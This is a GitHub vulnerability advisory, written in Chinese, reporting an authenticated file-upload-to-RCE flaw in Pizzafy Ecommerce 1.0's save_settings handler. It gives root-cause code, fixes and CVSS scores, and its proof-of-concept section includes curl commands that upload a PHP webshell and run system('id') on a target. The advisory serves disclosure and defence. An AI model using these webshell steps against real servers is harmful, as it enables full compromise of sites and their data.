leidyardila981-creator/Pizzafy-Ecommerce-1.0-save_settings-File-Upload-RCE
GitHub: leidyardila981-creator/Pizzafy-Ecommerce-1.0-save_settings-File-Upload-RCE
该仓库记录了 Pizzafy 电商系统 1.0 中一处认证后任意文件上传导致远程代码执行的安全研究报告与 PoC。
Stars: 0 | Forks: 0
# Pizzafy Ecommerce System 1.0 — 认证后任意文件上传导致远程代码执行 (`save_settings`)
## 总结
SourceCodester **Pizzafy Ecommerce System using PHP and MySQL 1.0** 存在漏洞
在 `/admin/admin_class_novo.php` 的 `save_settings` 函数中存在
**无限制文件上传** (CWE-434)。后台管理 **Site Settings**
页面的处理程序使用攻击者控制的原始文件名,将上传的“Image”文件直接保存到可被 Web 访问的
`/assets/img/` 目录中,并且
**从未根据允许列表验证文件扩展名或内容类型**。
因此,经过身份验证的管理员可以上传 `.php` 文件并在服务器上执行
任意操作系统命令(**Remote Code Execution**)。
## 漏洞详情
| | |
|---|---|
| **产品** | Pizzafy Ecommerce System using PHP and MySQL |
| **版本** | 1.0 |
| **供应商** | SourceCodester (作者:oretnom23) |
| **产品页面** | https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html |
| **漏洞类型** | 危险类型文件的无限制上传 (CWE-434) |
| **受影响文件** | `/admin/admin_class_novo.php` |
| **受影响函数** | `save_settings()` |
| **Endpoint** | `POST /admin/ajax.php?action=save_settings` |
| **UI 触发点** | `/admin/index.php?page=site_settings` → "Image" 字段 |
| **参数** | `img` (multipart 文件字段) |
| **所需权限** | 经过身份验证的管理员 (`$_SESSION['login_id']`) |
| **用户交互** | 无 |
| **影响** | 远程代码执行 (RCE) |
## 根本原因
`/admin/admin_class_novo.php` 中存在漏洞的 `save_settings()` 处理程序:
```
// admin_class_novo.php -> save_settings()
if (!isset($_SESSION['login_id'])) { // only requires being logged in (admin)
return 2;
}
$qry = $this->conn->query("SELECT * FROM system_settings WHERE id = 1");
$current = $qry->fetch_assoc();
$cover_img = $current['cover_img'];
if (isset($_FILES['img']) && $_FILES['img']['tmp_name'] != '') {
$target_dir = "../assets/img/";
$file_name = $_FILES['img']['name']; // [1] attacker-controlled filename
$target_file = $target_dir . $file_name;
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); // [2] extension is computed...
if (move_uploaded_file($_FILES['img']['tmp_name'], $target_file)) { // [3] ...but NEVER validated. File is moved as-is.
$cover_img = $file_name;
if ($current['cover_img'] != '' && file_exists($target_dir . $current['cover_img'])) {
unlink($target_dir . $current['cover_img']);
}
}
}
```
存在的问题:
1. `[1]` 目标文件名直接从客户端 (`$_FILES['img']['name']`) 原样获取 — 没有进行清理,也没有重命名。
2. `[2]` 文件扩展名是通过 `pathinfo()` 计算得出的,但结果 `$imageFileType` **从未**与允许列表(例如 `jpg/png/gif`)进行比对检查。
3. `[3]` `move_uploaded_file()` 将文件写入**可通过 web-root 访问的** `../assets/img/` 目录,该目录会提供并执行 `.php` 文件。
没有 MIME 类型检查,没有扩展名允许列表,没有 magic-byte 验证,也没有
随机化的文件名。任何文件类型 — 包括 `.php` — 都会被接受并存储在
一个可预测且可直接访问的 URL 中。
## 概念验证
### 1. 恶意文件 (`poc.php`)
```
```
### 2. 步骤
1. 以管理员身份登录管理后台(例如 `/admin/login.php`)。
2. 浏览至 **Site Settings**:`/admin/index.php?page=site_settings`。
3. 在 **Image** 字段 (``) 中,选择 `poc.php`。
4. 点击 **Save**。表单将以 `multipart/form-data` 格式向
`/admin/ajax.php?action=save_settings` 发送 POST 请求。
5. 处理程序将文件存储在 `/assets/img/poc.php`。
6. 通过直接请求上传的文件来触发代码执行:
```
http://TARGET:8000/assets/img/poc.php?1=system('whoami');
```
服务器执行命令并返回其输出(例如 `ddddcy\dell`),
从而确认发生了远程代码执行。
### 3. 等效请求 (curl)
```
# 1) 上传 webshell(需要有效的已认证 admin session cookie)
curl -s -i \
-b "PHPSESSID=" \
-F "img=@poc.php" \
"http://TARGET:8000/admin/ajax.php?action=save_settings"
# 2) 执行命令
curl -s "http://TARGET:8000/assets/img/poc.php?1=system('id');"
```
## 影响
经过身份验证的管理员可以上传并执行任意 PHP,导致在
Web 服务器账户上下文中发生 **远程代码执行**。这可能导致应用程序、
其数据库以及潜在底层主机的完全沦陷。
## CVSS
- **CVSS v3.1:** `AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H` → **7.2 (高危)**
- **CVSS v4.0:** `AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
(影响反映了完整的 RCE;所需权限为高,因为需要经过身份验证的
管理员会话。)
## 建议修复方案
- 强制执行严格的**服务器端扩展名允许列表**(`jpg`, `jpeg`, `png`, `gif`),
并拒绝其他所有格式。
- 验证真实的 MIME 类型 / magic bytes (例如 `finfo_file`, `getimagesize`)。
- **重命名**上传的文件为服务器生成的随机名称;切勿信任
`$_FILES['img']['name']`。
- 将上传文件存储在 web root 之外,或者在上传目录中禁用脚本执行
(例如 `.htaccess` 的 `php_admin_flag engine off`,或 nginx 的 `location`
规则)。
## 发现者 / 致谢
- **研究员:** leidyardila981
- **联系方式:** leidyardila981@gmail.com
## 披露时间表
- **2026-06-14** — 识别并记录漏洞。
- 供应商 (SourceCodester) 未提供专门的安全联系方式;该产品是
按“原样”分发的。
## 参考文献
- 产品页面:https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
- 相关漏洞(不同函数 `save_menu`):https://nvd.nist.gov/vuln/detail/CVE-2026-7393
- 前身产品,相同的 `save_settings` 漏洞点:https://nvd.nist.gov/vuln/detail/CVE-2023-2246
- CWE-434:https://cwe.mitre.org/data/definitions/434.html
*本报告仅出于授权的安全研究和负责任的
披露 / CVE 分配目的发布。*
标签:ffuf, OpenVAS, PHP, PoC, RCE, 暴力破解, 电子商务